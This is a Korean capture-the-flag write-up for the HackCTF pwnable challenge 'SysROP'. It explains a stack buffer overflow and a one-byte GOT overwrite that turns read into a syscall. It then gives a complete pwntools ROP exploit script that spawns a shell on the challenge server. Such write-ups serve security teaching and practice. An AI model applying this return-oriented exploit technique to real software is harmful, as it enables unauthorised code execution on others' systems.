본문 바로가기
Wargame Write-Up/HackCTF

[HackCTF] (Pwnable) SysROP 풀이

by snwo 2020. 9. 6.
   0x0000000000400636:	lea    rax,[rbp-0x10]
   0x000000000040063a:	mov    edx,0x78
   0x000000000040063f:	mov    rsi,rax
   0x0000000000400642:	mov    edi,0x0
=> 0x0000000000400647:	call   0x4004b0 <read@plt>

main 함수에서 취약점이 발견된 부분이다. 0x68 만큼 BOF를 일으킬 수 있다.

 

0x00000000004004b0  read@plt
0x00000000004004c0  __libc_start_main@plt
0x00000000004004d0  setvbuf@plt
0x00000000004004e0  __gmon_start__@plt

쓸만한게 없다. 문제 제목을 보니, syscall 을 사용해야하는것을 알 수 있다.

 

0x00007fb703383250 <+0>:	cmp    DWORD PTR [rip+0x2d24e9],0x0        # 0x7fb703655740 <__libc_multiple_threads>
0x00007fb703383257 <+7>:	jne    0x7fb703383269 <read+25>
0x00007fb703383259 <+0>:	mov    eax,0x0
0x00007fb70338325e <+5>:	syscall 

read@got : 0x7fb703383250

! This program ran in ubuntu 16.04

When I overwrite read@got 1 byte to 5e, I can use syscall, instead of the read function


Scenario

First, input "/bin/sh" at bss.

Second, return to the main function again.

Third, overwrite read@got 1 byte to 0x5e

Fourth, set registers and syscall ( rax=59, rsi=bss, rdi=NULL, rdx=NULL , call read(syscall) )


from pwn import *
r=remote("ctf.j0n9hyun.xyz",3024)
#r=process("./sysrop")
lib=ELF("./libc.so.6")
b=ELF("./sysrop")
context.log_level='debug'

read=b.plt['read']
read_got=b.got['read']
ppppr=0x00000000004005ea #: pop rax ; pop rdx ; pop rdi ; pop rsi ; ret
pppr=0x4005eb # rdx rdi rsi ret
bss=0x601060

pay=b'a'*0x10
pay+=b'x'*0x8
pay+=p64(pppr)
pay+=p64(7)
pay+=p64(0)
pay+=p64(bss)
pay+=p64(read) # got /bin/sh
pay+=p64(0x4005f2)

r.sendline(pay)
r.send('/bin/sh')

pay2=b'a'*0x10
pay2+=b'x'*0x8
pay2+=p64(pppr)
pay2+=p64(1)
pay2+=p64(0)
pay2+=p64(read_got)
pay2+=p64(read) #1 byte got overwrite
pay2+=p64(ppppr)
pay2+=p64(59)
pay2+=p64(0)
pay2+=p64(bss)
pay2+=p64(0)
pay2+=p64(read)

r.sendline(pay2)
r.send('\x5e')
r.interactive()